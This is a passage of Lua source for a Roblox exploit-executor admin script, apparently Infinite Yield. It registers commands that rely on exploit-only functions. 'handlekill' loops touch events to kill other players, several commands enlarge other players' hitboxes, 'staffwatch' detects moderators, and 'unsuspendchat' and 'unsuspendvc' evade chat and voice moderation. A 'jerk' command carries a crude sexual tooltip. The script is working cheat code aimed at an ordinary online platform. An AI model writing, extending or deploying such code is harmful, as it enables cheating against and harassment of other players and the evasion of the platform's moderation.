speaker.CharacterAdded:Wait():WaitForChild("HumanoidRootPart").CFrame = NormPos end else notify('Tool Required','You need to have an item in your inventory to use this command') end end addcmd("handlekill", {"hkill"}, function(args, speaker) if not firetouchinterest then return notify("Incompatible Exploit", "Your exploit does not support this command (missing firetouchinterest)") end if not speaker.Character then return end local tool = speaker.Character:FindFirstChildWhichIsA("Tool") local handle = tool and tool:FindFirstChild("Handle") if not handle then return notify("Handle Kill", "You need to hold a \"Tool\" that does damage on touch. For example a common Sword tool.") end local range = tonumber(args[2]) or math.huge if range ~= math.huge then notify("Handle Kill", ("Started!\nRadius: %s"):format(tostring(range):upper())) end while task.wait() and speaker.Character and tool.Parent and tool.Parent == speaker.Character do for _, plr in next, getPlayer(args[1], speaker) do plr = Players[plr] if plr ~= speaker and plr.Character then local hum = plr.Character:FindFirstChildWhichIsA("Humanoid") local root = hum and getRoot(plr.Character) if root and hum.Health > 0 and hum:GetState() ~= Enum.HumanoidStateType.Dead and speaker:DistanceFromCharacter(root.Position) <= range then firetouchinterest(handle, root, 1) firetouchinterest(handle, root, 0) end end end end notify("Handle Kill", "Stopped!") end) local hb = RunService.Heartbeat addcmd('tpwalk', {'teleportwalk'}, function(args, speaker) tpwalking = true local chr = speaker.Character local hum = chr and chr:FindFirstChildWhichIsA("Humanoid") while tpwalking and chr and hum and hum.Parent do local delta = hb:Wait() if hum.MoveDirection.Magnitude > 0 then if args[1] and isNumber(args[1]) then chr:TranslateBy(hum.MoveDirection * tonumber(args[1]) * delta * 10) else chr:TranslateBy(hum.MoveDirection * delta * 10) end end end end) addcmd('untpwalk', {'unteleportwalk'}, function(args, speaker) tpwalking = false end) function bring(speaker,target,fast) if tools(speaker) then if target ~= nil then local NormPos = getRoot(speaker.Character).CFrame if not fast then refresh(speaker) wait() repeat wait() until speaker.Character ~= nil and getRoot(speaker.Character) wait(0.3) end local hrp = getRoot(speaker.Character) attach(speaker,target) repeat wait() hrp.CFrame = NormPos until not getRoot(target.Character) or not getRoot(speaker.Character) speaker.CharacterAdded:Wait():WaitForChild("HumanoidRootPart").CFrame = NormPos end else notify('Tool Required','You need to have an item in your inventory to use this command') end end function teleport(speaker,target,target2,fast) if tools(speaker) then if target ~= nil then local NormPos = getRoot(speaker.Character).CFrame if not fast then refresh(speaker) wait() repeat wait() until speaker.Character ~= nil and getRoot(speaker.Character) wait(0.3) end local hrp = getRoot(speaker.Character) local hrp2 = getRoot(target2.Character) attach(speaker,target) repeat wait() hrp.CFrame = hrp2.CFrame until not getRoot(target.Character) or not getRoot(speaker.Character) wait(1) speaker.CharacterAdded:Wait():WaitForChild("HumanoidRootPart").CFrame = NormPos end else notify('Tool Required','You need to have an item in your inventory to use this command') end end addcmd('spin',{},function(args, speaker) local spinSpeed = 20 if args[1] and isNumber(args[1]) then spinSpeed = args[1] end for i,v in pairs(getRoot(speaker.Character):GetChildren()) do if v.Name == "Spinning" then v:Destroy() end end local Spin = Instance.new("BodyAngularVelocity") Spin.Name = "Spinning" Spin.Parent = getRoot(speaker.Character) Spin.MaxTorque = Vector3.new(0, math.huge, 0) Spin.AngularVelocity = Vector3.new(0,spinSpeed,0) end) addcmd('unspin',{},function(args, speaker) for i,v in pairs(getRoot(speaker.Character):GetChildren()) do if v.Name == "Spinning" then v:Destroy() end end end) xrayEnabled = false function xray() for _, v in pairs(workspace:GetDescendants()) do if v:IsA("BasePart") and not v.Parent:FindFirstChildWhichIsA("Humanoid") and not v.Parent.Parent:FindFirstChildWhichIsA("Humanoid") then v.LocalTransparencyModifier = xrayEnabled and 0.5 or 0 end end end addcmd("xray", {}, function(args, speaker) xrayEnabled = true xray() end) addcmd("unxray", {"noxray"}, function(args, speaker) xrayEnabled = false xray() end) addcmd("togglexray", {}, function(args, speaker) xrayEnabled = not xrayEnabled xray() end) addcmd("loopxray", {}, function(args, speaker) pcall(function() xrayLoop:Disconnect() end) xrayLoop = RunService.RenderStepped:Connect(function() xrayEnabled = true xray() end) end) addcmd("unloopxray", {}, function(args, speaker) pcall(function() xrayLoop:Disconnect() end) xrayEnabled = false xray() end) local walltpTouch = nil addcmd('walltp',{},function(args, speaker) local torso if r15(speaker) then torso = speaker.Character.UpperTorso else torso = speaker.Character.Torso end local function touchedFunc(hit) local Root = getRoot(speaker.Character) if hit:IsA("BasePart") and hit.Position.Y > Root.Position.Y - speaker.Character:FindFirstChildOfClass('Humanoid').HipHeight then local hitP = getRoot(hit.Parent) if hitP ~= nil then Root.CFrame = hit.CFrame * CFrame.new(Root.CFrame.lookVector.X,hitP.Size.Z/2 + speaker.Character:FindFirstChildOfClass('Humanoid').HipHeight,Root.CFrame.lookVector.Z) elseif hitP == nil then Root.CFrame = hit.CFrame * CFrame.new(Root.CFrame.lookVector.X,hit.Size.Y/2 + speaker.Character:FindFirstChildOfClass('Humanoid').HipHeight,Root.CFrame.lookVector.Z) end end end walltpTouch = torso.Touched:Connect(touchedFunc) end) addcmd('unwalltp',{'nowalltp'},function(args, speaker) if walltpTouch then walltpTouch:Disconnect() end end) autoclicking = false addcmd('autoclick',{},function(args, speaker) if mouse1press and mouse1release then execCmd('unautoclick') wait() local clickDelay = 0.1 local releaseDelay = 0.1 if args[1] and isNumber(args[1]) then clickDelay = args[1] end if args[2] and isNumber(args[2]) then releaseDelay = args[2] end autoclicking = true cancelAutoClick = UserInputService.InputBegan:Connect(function(input, gameProcessedEvent) if not gameProcessedEvent then if (input.KeyCode == Enum.KeyCode.Backspace and UserInputService:IsKeyDown(Enum.KeyCode.Equals)) or (input.KeyCode == Enum.KeyCode.Equals and UserInputService:IsKeyDown(Enum.KeyCode.Backspace)) then autoclicking = false cancelAutoClick:Disconnect() end end end) notify('Auto Clicker',"Press [backspace] and [=] at the same time to stop") repeat wait(clickDelay) mouse1press() wait(releaseDelay) mouse1release() until autoclicking == false else notify('Auto Clicker',"Your exploit doesn't have the ability to use the autoclick") end end) addcmd('unautoclick',{'noautoclick'},function(args, speaker) autoclicking = false if cancelAutoClick then cancelAutoClick:Disconnect() end end) addcmd('mousesensitivity',{'ms'},function(args, speaker) UserInputService.MouseDeltaSensitivity = args[1] end) local nameBox = nil local nbSelection = nil addcmd('hovername',{},function(args, speaker) execCmd('unhovername') wait() nameBox = Instance.new("TextLabel") nameBox.Name = randomString() nameBox.Parent = ScaledHolder nameBox.BackgroundTransparency = 1 nameBox.Size = UDim2.new(0,200,0,30) nameBox.Font = Enum.Font.Code nameBox.TextSize = 16 nameBox.Text = "" nameBox.TextColor3 = Color3.new(1, 1, 1) nameBox.TextStrokeTransparency = 0 nameBox.TextXAlignment = Enum.TextXAlignment.Left nameBox.ZIndex = 10 nbSelection = Instance.new('SelectionBox') nbSelection.Name = randomString() nbSelection.LineThickness = 0.03 nbSelection.Color3 = Color3.new(1, 1, 1) local function updateNameBox() local t local target = IYMouse.Target if target then local humanoid = target.Parent:FindFirstChildOfClass("Humanoid") or target.Parent.Parent:FindFirstChildOfClass("Humanoid") if humanoid then t = humanoid.Parent end end if t ~= nil then local x = IYMouse.X local y = IYMouse.Y local xP local yP if IYMouse.X > 200 then xP = x - 205 nameBox.TextXAlignment = Enum.TextXAlignment.Right else xP = x + 25 nameBox.TextXAlignment = Enum.TextXAlignment.Left end nameBox.Position = UDim2.new(0, xP, 0, y) nameBox.Text = t.Name nameBox.Visible = true nbSelection.Parent = t nbSelection.Adornee = t else nameBox.Visible = false nbSelection.Parent = nil nbSelection.Adornee = nil end end nbUpdateFunc = IYMouse.Move:Connect(updateNameBox) end) addcmd('unhovername',{'nohovername'},function(args, speaker) if nbUpdateFunc then nbUpdateFunc:Disconnect() nameBox:Destroy() nbSelection:Destroy() end end) addcmd('headsize',{},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do if Players[v] ~= speaker and Players[v].Character:FindFirstChild('Head') then local sizeArg = tonumber(args[2]) local Size = Vector3.new(sizeArg,sizeArg,sizeArg) local Head = Players[v].Character:FindFirstChild('Head') if Head:IsA("BasePart") then Head.CanCollide = false if not args[2] or sizeArg == 1 then Head.Size = Vector3.new(2,1,1) else Head.Size = Size end end end end end) addcmd('hitbox',{},function(args, speaker) local players = getPlayer(args[1], speaker) local transparency = args[3] and tonumber(args[3]) or 0.4 for i,v in pairs(players) do if Players[v] ~= speaker and Players[v].Character:FindFirstChild('HumanoidRootPart') then local sizeArg = tonumber(args[2]) local Size = Vector3.new(sizeArg,sizeArg,sizeArg) local Root = Players[v].Character:FindFirstChild('HumanoidRootPart') if Root:IsA("BasePart") then Root.CanCollide = false if not args[2] or sizeArg == 1 then Root.Size = Vector3.new(2,1,1) Root.Transparency = transparency else Root.Size = Size Root.Transparency = transparency end end end end end) addcmd('stareat',{'stare'},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do if stareLoop then stareLoop:Disconnect() end if not Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart") and Players[v].Character:FindFirstChild("HumanoidRootPart") then return end local function stareFunc() if Players.LocalPlayer.Character.PrimaryPart and Players:FindFirstChild(v) and Players[v].Character ~= nil and Players[v].Character:FindFirstChild("HumanoidRootPart") then local chrPos=Players.LocalPlayer.Character.PrimaryPart.Position local tPos=Players[v].Character:FindFirstChild("HumanoidRootPart").Position local modTPos=Vector3.new(tPos.X,chrPos.Y,tPos.Z) local newCF=CFrame.new(chrPos,modTPos) Players.LocalPlayer.Character:SetPrimaryPartCFrame(newCF) elseif not Players:FindFirstChild(v) then stareLoop:Disconnect() end end stareLoop = RunService.RenderStepped:Connect(stareFunc) end end) addcmd('unstareat',{'unstare','nostare','nostareat'},function(args, speaker) if stareLoop then stareLoop:Disconnect() end end) RolewatchData = {Group = 0, Role = "", Leave = false} RolewatchConnection = Players.PlayerAdded:Connect(function(player) if RolewatchData.Group == 0 then return end if player:IsInGroup(RolewatchData.Group) then if tostring(player:GetRoleInGroup(RolewatchData.Group)):lower() == RolewatchData.Role:lower() then if RolewatchData.Leave == true then Players.LocalPlayer:Kick("\n\nRolewatch\nPlayer \"" .. tostring(player.Name) .. "\" has joined with the Role \"" .. RolewatchData.Role .. "\"\n") else notify("Rolewatch", "Player \"" .. tostring(player.Name) .. "\" has joined with the Role \"" .. RolewatchData.Role .. "\"") end end end end) addcmd("rolewatch", {}, function(args, speaker) local groupId = tonumber(args[1] or 0) local roleName = args[2] and tostring(getstring(2)) if groupId and roleName then RolewatchData.Group = groupId RolewatchData.Role = roleName notify("Rolewatch", "Watching Group ID \"" .. tostring(groupId) .. "\" for Role \"" .. roleName .. "\"") end end) addcmd("rolewatchstop", {}, function(args, speaker) RolewatchData.Group = 0 RolewatchData.Role = "" RolewatchData.Leave = false notify("Rolewatch", "Disabled") end) addcmd("rolewatchleave", {"unrolewatch"}, function(args, speaker) RolewatchData.Leave = not RolewatchData.Leave notify("Rolewatch", RolewatchData.Leave and "Leave has been Enabled" or "Leave has been Disabled") end) staffRoles = {"mod", "admin", "staff", "dev", "founder", "owner", "supervis", "manager", "management", "executive", "president", "chairman", "chairwoman", "chairperson", "director"} getStaffRole = function(player) local playerRole = player:GetRoleInGroup(game.CreatorId) local result = {Role = playerRole, Staff = false} if player:IsInGroup(1200769) then result.Role = "Roblox Employee" result.Staff = true end for _, role in pairs(staffRoles) do if string.find(string.lower(playerRole), role) then result.Staff = true end end return result end addcmd("staffwatch", {}, function(args, speaker) if staffwatchjoin then staffwatchjoin:Disconnect() end if game.CreatorType == Enum.CreatorType.Group then local found = {} staffwatchjoin = Players.PlayerAdded:Connect(function(player) local result = getStaffRole(player) if result.Staff then notify("Staffwatch", formatUsername(player) .. " is a " .. result.Role) end end) for _, player in pairs(Players:GetPlayers()) do local result = getStaffRole(player) if result.Staff then table.insert(found, formatUsername(player) .. " is a " .. result.Role) end end if #found > 0 then notify("Staffwatch", table.concat(found, ",\n")) else notify("Staffwatch", "Enabled") end else notify("Staffwatch", "Game is not owned by a Group") end end) addcmd("unstaffwatch", {}, function(args, speaker) if staffwatchjoin then staffwatchjoin:Disconnect() end notify("Staffwatch", "Disabled") end) addcmd('removeterrain',{'rterrain','noterrain'},function(args, speaker) workspace:FindFirstChildOfClass('Terrain'):Clear() end) addcmd('clearnilinstances',{'nonilinstances','cni'},function(args, speaker) if getnilinstances then for i,v in pairs(getnilinstances()) do v:Destroy() end else notify('Incompatible Exploit','Your exploit does not support this command (missing getnilinstances)') end end) addcmd('destroyheight',{'dh'},function(args, speaker) local dh = args[1] or -500 if isNumber(dh) then workspace.FallenPartsDestroyHeight = dh end end) OrgDestroyHeight = workspace.FallenPartsDestroyHeight addcmd("antivoid", {}, function(args, speaker) execCmd("unantivoid nonotify") task.wait() antivoidloop = RunService.Stepped:Connect(function() local root = getRoot(speaker.Character) if root and root.Position.Y <= OrgDestroyHeight + 25 then root.Velocity = root.Velocity + Vector3.new(0, 250, 0) end end) if args[1] ~= "nonotify" then notify("antivoid", "Enabled") end end) addcmd("unantivoid", {"noantivoid"}, function(args, speaker) pcall(function() antivoidloop:Disconnect() end) antivoidloop = nil if args[1] ~= "nonotify" then notify("antivoid", "Disabled") end end) antivoidWasEnabled = false addcmd("fakeout", {}, function(args, speaker) local root = getRoot(speaker.Character) local oldpos = root.CFrame if antivoidloop then execCmd("unantivoid nonotify") antivoidWasEnabled = true end workspace.FallenPartsDestroyHeight = 0/1/0 root.CFrame = CFrame.new(Vector3.new(0, OrgDestroyHeight - 25, 0)) task.wait(1) root.CFrame = oldpos workspace.FallenPartsDestroyHeight = OrgDestroyHeight if antivoidWasEnabled then execCmd("antivoid nonotify") antivoidWasEnabled = false end end) addcmd("trip", {}, function(args, speaker) local humanoid = speaker.Character and speaker.Character:FindFirstChildWhichIsA("Humanoid") local root = speaker.Character and getRoot(speaker.Character) if humanoid and root then humanoid:ChangeState(Enum.HumanoidStateType.FallingDown) root.Velocity = root.CFrame.LookVector * 30 end end) addcmd("removeads", {"adblock"}, function(args, speaker) while wait() do pcall(function() for i, v in pairs(workspace:GetDescendants()) do if v:IsA("PackageLink") then if v.Parent:FindFirstChild("ADpart") then v.Parent:Destroy() end if v.Parent:FindFirstChild("AdGuiAdornee") then v.Parent.Parent:Destroy() end end end end) end end) addcmd("scare", {"spook"}, function(args, speaker) local players = getPlayer(args[1], speaker) local oldpos = nil for _, v in pairs(players) do local root = speaker.Character and getRoot(speaker.Character) local target = Players[v] local targetRoot = target and target.Character and getRoot(target.Character) if root and targetRoot and target ~= speaker then oldpos = root.CFrame root.CFrame = targetRoot.CFrame + targetRoot.CFrame.lookVector * 2 root.CFrame = CFrame.new(root.Position, targetRoot.Position) task.wait(0.5) root.CFrame = oldpos end end end) addcmd("alignmentkeys", {}, function(args, speaker) alignmentKeys = UserInputService.InputBegan:Connect(function(input, gameProcessed) if gameProcessed then return end if input.KeyCode == Enum.KeyCode.Comma then workspace.CurrentCamera:PanUnits(-1) end if input.KeyCode == Enum.KeyCode.Period then workspace.CurrentCamera:PanUnits(1) end end) alignmentKeysEmotes = StarterGui:GetCoreGuiEnabled(Enum.CoreGuiType.EmotesMenu) StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.EmotesMenu, false) end) addcmd("unalignmentkeys", {"noalignmentkeys"}, function(args, speaker) if type(alignmentKeysEmotes) == "boolean" then StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.EmotesMenu, alignmentKeysEmotes) end alignmentKeys:Disconnect() end) addcmd("ctrllock", {}, function(args, speaker) local mouseLockController = speaker.PlayerScripts:WaitForChild("PlayerModule"):WaitForChild("CameraModule"):WaitForChild("MouseLockController") local boundKeys = mouseLockController:FindFirstChild("BoundKeys") if boundKeys then boundKeys.Value = "LeftControl" else boundKeys = Instance.new("StringValue") boundKeys.Name = "BoundKeys" boundKeys.Value = "LeftControl" boundKeys.Parent = mouseLockController end end) addcmd("unctrllock", {}, function(args, speaker) local mouseLockController = speaker.PlayerScripts:WaitForChild("PlayerModule"):WaitForChild("CameraModule"):WaitForChild("MouseLockController") local boundKeys = mouseLockController:FindFirstChild("BoundKeys") if boundKeys then boundKeys.Value = "LeftShift" else boundKeys = Instance.new("StringValue") boundKeys.Name = "BoundKeys" boundKeys.Value = "LeftShift" boundKeys.Parent = mouseLockController end end) addcmd("listento", {}, function(args, speaker) execCmd("unlistento") if not args[1] then return end local player = Players:FindFirstChild(getPlayer(args[1], speaker)[1]) local root = player and player.Character and getRoot(player.Character) if root then SoundService:SetListener(Enum.ListenerType.ObjectPosition, root) listentoChar = player.CharacterAdded:Connect(function() repeat task.wait() until Players[player.Name].Character ~= nil and getRoot(Players[player.Name].Character) SoundService:SetListener(Enum.ListenerType.ObjectPosition, getRoot(Players[player.Name].Character)) end) end end) addcmd("unlistento", {}, function(args, speaker) SoundService:SetListener(Enum.ListenerType.Camera) listentoChar:Disconnect() end) addcmd("jerk", {}, function(args, speaker) local humanoid = speaker.Character:FindFirstChildWhichIsA("Humanoid") local backpack = speaker:FindFirstChildWhichIsA("Backpack") if not humanoid or not backpack then return end local tool = Instance.new("Tool") tool.Name = "Jerk Off" tool.ToolTip = "in the stripped club. straight up \"jorking it\" . and by \"it\" , haha, well. let's justr say. My peanits." tool.RequiresHandle = false tool.Parent = backpack local jorkin = false local track = nil local function stopTomfoolery() jorkin = false if track then track:Stop() track = nil end end tool.Equipped:Connect(function() jorkin = true end) tool.Unequipped:Connect(stopTomfoolery) humanoid.Died:Connect(stopTomfoolery) while task.wait() do if not jorkin then continue end local isR15 = r15(speaker) if not track then local anim = Instance.new("Animation") anim.AnimationId = not isR15 and "rbxassetid://72042024" or "rbxassetid://698251653" track = humanoid:LoadAnimation(anim) end track:Play() track:AdjustSpeed(isR15 and 0.7 or 0.65) track.TimePosition = 0.6 task.wait(0.1) while track and track.TimePosition < (not isR15 and 0.65 or 0.7) do task.wait(0.1) end if track then track:Stop() track = nil end end end) addcmd("guiscale", {}, function(args, speaker) if args[1] and isNumber(args[1]) then local scale = tonumber(args[1]) if scale % 1 == 0 then scale = scale / 100 end -- me when i divide and it explodes if scale == 0.01 then scale = 1 end if scale == 0.02 then scale = 2 end if scale >= 0.4 and scale <= 2 then guiScale = scale end else guiScale = defaultGuiScale end Scale.Scale = math.max(Holder.AbsoluteSize.X / 1920, guiScale) updatesaves() end) addcmd("unsuspendchat", {}, function(args, speaker) if replicatesignal then replicatesignal(TextChatService.UpdateChatTimeout, speaker.UserId, 0, 10) else notify("Incompatible Exploit", "Your exploit does not support this command (missing replicatesignal)") end end) addcmd("unsuspendvc", {}, function(args, speaker) if replicatesignal then replicatesignal(VoiceChatService.ClientRetryJoin) if typeof(onVoiceModerated) ~= "RBXScriptConnection" then onVoiceModerated = cloneref(game:GetService("VoiceChatInternal")).LocalPlayerModerated:Connect(function() task.wait(1) replicatesignal(VoiceChatService.ClientRetryJoin) end) end else notify("Incompatible Exploit", "Your exploit does not support this command (missing replicatesignal)") end end) addcmd("permadeath", {}, function(args, speaker) if replicatesignal then permadeath(speaker) notify("Permadeath", "Enabled") else notify("Incompatible Exploit", "Your exploit does not support this command (missing replicatesignal)") end end) local freezingua = nil frozenParts = {} addcmd('freezeunanchored',{'freezeua'},function(args, speaker) local badnames = { "Head", "UpperTorso", "LowerTorso", "RightUpperArm", "LeftUpperArm", "RightLowerArm", "LeftLowerArm", "RightHand", "LeftHand", "RightUpperLeg", "LeftUpperLeg", "RightLowerLeg", "LeftLowerLeg", "RightFoot", "LeftFoot", "Torso", "Right Arm", "Left Arm", "Right Leg", "Left Leg", "HumanoidRootPart" } local function FREEZENOOB(v) if v:IsA("BasePart" or "UnionOperation") and v.Anchored == false then local BADD = false for i = 1,#badnames do if v.Name == badnames[i] then BADD = true end end if speaker.Character and v:IsDescendantOf(speaker.Character) then BADD = true end if BADD == false then for i,c in pairs(v:GetChildren()) do if c:IsA("BodyPosition") or c:IsA("BodyGyro") then c:Destroy() end end local bodypos = Instance.new("BodyPosition") bodypos.Parent = v bodypos.Position = v.Position bodypos.MaxForce = Vector3.new(math.huge,math.huge,math.huge) local bodygyro = Instance.new("BodyGyro") bodygyro.Parent = v bodygyro.CFrame = v.CFrame bodygyro.MaxTorque = Vector3.new(math.huge,math.huge,math.huge) if not table.find(frozenParts,v) then table.insert(frozenParts,v) end end end end for i,v in pairs(workspace:GetDescendants()) do FREEZENOOB(v) end freezingua = workspace.DescendantAdded:Connect(FREEZENOOB) end) addcmd('thawunanchored',{'thawua','unfreezeunanchored','unfreezeua'},function(args, speaker) if freezingua then freezingua:Disconnect() end for i,v in pairs(frozenParts) do for i,c in pairs(v:GetChildren()) do if c:IsA("BodyPosition") or c:IsA("BodyGyro") then c:Destroy() end end end frozenParts = {} end) addcmd('tpunanchored',{'tpua'},function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players) do local Forces = {} for _,part in pairs(workspace:GetDescendants()) do if Players[v].Character:FindFirstChild('Head') and part:IsA("BasePart" or "UnionOperation" or "Model") and part.Anchored == false and not part:IsDescendantOf(speaker.Character) and part.Name == "Torso" == false and part.Name == "Head" == false and part.Name == "Right Arm" == false and part.Name == "Left Arm" == false and part.Name == "Right Leg" == false and part.Name == "Left Leg" == false and part.Name == "HumanoidRootPart" == false then for i,c in pairs(part:GetChildren()) do if c:IsA("BodyPosition") or c:IsA("BodyGyro") then c:Destroy() end end local ForceInstance = Instance.new("BodyPosition") ForceInstance.Parent = part ForceInstance.MaxForce = Vector3.new(math.huge, math.huge, math.huge) table.insert(Forces, ForceInstance) if not table.find(frozenParts,part) then table.insert(frozenParts,part) end end end for i,c in pairs(Forces) do c.Position = Players[v].Character.Head.Position end end end) keycodeMap = { ["0"] = 0x30, ["1"] = 0x31, ["2"] = 0x32, ["3"] = 0x33, ["4"] = 0x34, ["5"] = 0x35, ["6"] = 0x36, ["7"] = 0x37, ["8"] = 0x38, ["9"] = 0x39, ["a"] = 0x41, ["b"] = 0x42, ["c"] = 0x43, ["d"] = 0x44, ["e"] = 0x45, ["f"] = 0x46, ["g"] = 0x47, ["h"] = 0x48, ["i"] = 0x49, ["j"] = 0x4A, ["k"] = 0x4B, ["l"] = 0x4C, ["m"] = 0x4D, ["n"] = 0x4E, ["o"] = 0x4F, ["p"] = 0x50, ["q"] = 0x51, ["r"] = 0x52, ["s"] = 0x53, ["t"] = 0x54, ["u"] = 0x55, ["v"] = 0x56, ["w"] = 0x57, ["x"] = 0x58, ["y"] = 0x59, ["z"] = 0x5A, ["enter"] = 0x0D, ["shift"] = 0x10, ["ctrl"] = 0x11, ["alt"] = 0x12, ["pause"] = 0x13, ["capslock"] = 0x14, ["spacebar"] = 0x20, ["space"] = 0x20, ["pageup"] = 0x21, ["pagedown"] = 0x22, ["end"] = 0x23, ["home"] = 0x24, ["left"] = 0x25, ["up"] = 0x26, ["right"] = 0x27, ["down"] = 0x28, ["insert"] = 0x2D, ["delete"] = 0x2E, ["f1"] = 0x70, ["f2"] = 0x71, ["f3"] = 0x72, ["f4"] = 0x73, ["f5"] = 0x74, ["f6"] = 0x75, ["f7"] = 0x76, ["f8"] = 0x77, ["f9"] = 0x78, ["f10"] = 0x79, ["f11"] = 0x7A, ["f12"] = 0x7B, } autoKeyPressing = false cancelAutoKeyPress = nil addcmd('autokeypress',{'keypress'},function(args, speaker) if keypress and keyrelease and args[1] then local code = keycodeMap[args[1]:lower()] if not code then notify('Auto Key Press',"Invalid key") return end execCmd('unautokeypress') wait() local clickDelay = 0.1 local releaseDelay = 0.1 if args[2] and isNumber(args[2]) then clickDelay = args[2] end if args[3] and isNumber(args[3]) then releaseDelay = args[3] end autoKeyPressing = true cancelAutoKeyPress = UserInputService.InputBegan:Connect(function(input, gameProcessedEvent) if not gameProcessedEvent then if (input.KeyCode == Enum.KeyCode.Backspace and UserInputService:IsKeyDown(Enum.KeyCode.Equals)) or (input.KeyCode == Enum.KeyCode.Equals and UserInputService:IsKeyDown(Enum.KeyCode.Backspace)) then autoKeyPressing = false cancelAutoKeyPress:Disconnect() end end end) notify('Auto Key Press',"Press [backspace] and [=] at the same time to stop") repeat wait(clickDelay) keypress(code) wait(releaseDelay) keyrelease(code) until autoKeyPressing == false if cancelAutoKeyPress then cancelAutoKeyPress:Disconnect() keyrelease(code) end else notify('Auto Key Press',"Your exploit doesn't have the ability to use auto key press") end end) addcmd('unautokeypress',{'noautokeypress','unkeypress','nokeypress'},function(args, speaker) autoKeyPressing = false if cancelAutoKeyPress then cancelAutoKeyPress:Disconnect() end end) addcmd('addplugin',{'plugin'},function(args, speaker) addPlugin(getstring(1)) end) addcmd('removeplugin',{'deleteplugin'},function(args, speaker) deletePlugin(getstring(1)) end) addcmd('reloadplugin',{},function(args, speaker) local pluginName = getstring(1) deletePlugin(pluginName) wait(1) addPlugin(pluginName) end) addcmd("addallplugins", {"loadallplugins"}, function(args, speaker) if not listfiles or not isfolder then notify("Incompatible Exploit", "Your exploit does not support this command (missing listfiles/isfolder)") return end for _, filePath in ipairs(listfiles("")) do local fileName = filePath:match("([^/\\]+%.iy)$") if fileName and fileName:lower() ~= "iy_fe.iy" and not isfolder(fileName) and not table.find(PluginsTable, fileName) then addPlugin(fileName) end end end) addcmd('removecmd',{'deletecmd'},function(args, speaker) removecmd(args[1]) end) if IsOnMobile then local QuickCapture = Instance.new("TextButton") local UICorner = Instance.new("UICorner") QuickCapture.Name = randomString() QuickCapture.Parent = PARENT QuickCapture.BackgroundColor3 = Color3.fromRGB(46, 46, 47) QuickCapture.BackgroundTransparency = 0.14 QuickCapture.Position = UDim2.new(0.489, 0, 0, 0) QuickCapture.Size = UDim2.new(0, 32, 0, 33) QuickCapture.Font = Enum.Font.SourceSansBold QuickCapture.Text = "IY" QuickCapture.TextColor3 = Color3.fromRGB(255, 255, 255) QuickCapture.TextSize = 20 QuickCapture.TextWrapped = true QuickCapture.ZIndex = 10 QuickCapture.Draggable = true UICorner.Name = randomString() UICorner.CornerRadius = UDim.new(0.5, 0) UICorner.Parent = QuickCapture QuickCapture.MouseButton1Click:Connect(function() Cmdbar:CaptureFocus() maximizeHolder() end) table.insert(shade1, QuickCapture) table.insert(text1, QuickCapture) end pcall(function() Scale.Scale = math.max(Holder.AbsoluteSize.X / 1920, guiScale) end) Scale.Parent = ScaledHolder ScaledHolder.Size = UDim2.fromScale(1 / Scale.Scale, 1 / Scale.Scale) Scale:GetPropertyChangedSignal("Scale"):Connect(function() ScaledHolder.Size = UDim2.fromScale(1 / Scale.Scale, 1 / Scale.Scale) for _, v in ScaledHolder:GetDescendants() do if v:IsA("GuiObject") and v.Visible then v.Visible = false v.Visible = true end end end) updateColors(currentShade1,shade1) updateColors(currentShade2,shade2) updateColors(currentShade3,shade3) updateColors(currentText1,text1) updateColors(currentText2,text2) updateColors(currentScroll,scroll) if PluginsTable ~= nil or PluginsTable ~= {} then FindPlugins(PluginsTable) end -- Events eventEditor.RegisterEvent("OnExecute") eventEditor.RegisterEvent("OnSpawn",{ {Type="Player",Name="Player Filter ($1)"} }) eventEditor.RegisterEvent("OnDied",{ {Type="Player",Name="Player Filter ($1)"} }) eventEditor.RegisterEvent("OnDamage",{ {Type="Player",Name="Player Filter ($1)"}, {Type="Number",Name="Below Health ($2)"} }) eventEditor.RegisterEvent("OnKilled",{ {Type="Player",Name="Victim Player ($1)"}, {Type="Player",Name="Killer Player ($2)",Default = 1} }) eventEditor.RegisterEvent("OnJoin",{ {Type="Player",Name="Player Filter ($1)",Default = 1} }) eventEditor.RegisterEvent("OnLeave",{ {Type="Player",Name="Player Filter ($1)",Default = 1} }) eventEditor.RegisterEvent("OnChatted",{ {Type="Player",Name="Player Filter ($1)",Default = 1}, {Type="String",Name="Message Filter ($2)"} }) function hookCharEvents(plr,instant) task.spawn(function() local char = plr.Character if not char then return end local humanoid = char:WaitForChild("Humanoid",10) if not humanoid then return end local oldHealth = humanoid.Health humanoid.HealthChanged:Connect(function(health) local change = math.abs(oldHealth - health) if oldHealth > health then eventEditor.FireEvent("OnDamage",plr.Name,tonumber(health)) end oldHealth = health end) humanoid.Died:Connect(function() eventEditor.FireEvent("OnDied",plr.Name) local killedBy = humanoid:FindFirstChild("creator") if killedBy and killedBy.Value and killedBy.Value.Parent then eventEditor.FireEvent("OnKilled",plr.Name,killedBy.Name) end end) end) end Players.PlayerAdded:Connect(function(plr) eventEditor.FireEvent("OnJoin",plr.Name) if isLegacyChat then plr.Chatted:Connect(function(msg) eventEditor.FireEvent("OnChatted",tostring(plr),msg) end) end plr.CharacterAdded:Connect(function() eventEditor.FireEvent("OnSpawn",tostring(plr)) hookCharEvents(plr) end) JoinLog(plr) if isLegacyChat then ChatLog(plr) end if ESPenabled then repeat wait(1) until plr.Character and getRoot(plr.Character) ESP(plr) end if CHMSenabled then repeat wait(1) until plr.Character and getRoot(plr.Character) CHMS(plr) end end) if not isLegacyChat then TextChatService.MessageReceived:Connect(function(message) if message.TextSource then local player = Players:GetPlayerByUserId(message.TextSource.UserId) if not player then return end if logsEnabled == true then CreateLabel(player.Name, message.Text) end if player.UserId == Players.LocalPlayer.UserId then do_exec(message.Text, Players.LocalPlayer) end eventEditor.FireEvent("OnChatted", player.Name, message.Text) sendChatWebhook(player, message.Text) end end) end for _,plr in pairs(Players:GetPlayers()) do pcall(function() plr.CharacterAdded:Connect(function() eventEditor.FireEvent("OnSpawn",tostring(plr)) hookCharEvents(plr) end) hookCharEvents(plr) end) end if spawnCmds and #spawnCmds > 0 then for i,v in pairs(spawnCmds) do eventEditor.AddCmd("OnSpawn",{v.COMMAND or "",{0},v.DELAY or 0}) end updatesaves() end if loadedEventData then eventEditor.LoadData(loadedEventData) end eventEditor.Refresh() eventEditor.FireEvent("OnExecute") if aliases and #aliases > 0 then local cmdMap = {} for i,v in pairs(cmds) do cmdMap[v.NAME:lower()] = v for _,alias in 